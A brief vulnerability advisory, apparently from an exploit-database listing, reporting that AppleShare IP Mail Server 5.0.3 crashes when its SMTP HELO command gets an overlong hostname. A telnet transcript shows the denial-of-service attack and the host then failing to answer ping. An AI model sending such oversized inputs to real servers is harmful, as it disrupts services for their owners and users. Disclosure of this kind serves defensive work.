source: http://www.securityfocus.com/bid/61/info

There exists a buffer overflow in the Apple AppleShare IP Mail Server 5.0.3. If yu connect to the SMTP port 
and issue a HELO command with a large string (500 bytes or more) for a hostname the server, and possibly the whole machine, will crash.

$ telnet some.where
Trying 1.2.3.4...
Connected to some.where.
Escape character is '^]'.
220 some.where AppleShare IP Mail Server 5.0.3 SMTP Server Ready
HELO XXXXXXXXXXX[....several hundered of these....]XXXXXXXX
[ and it just hangs ]

$ ping some.where
[ ...nothing... ] 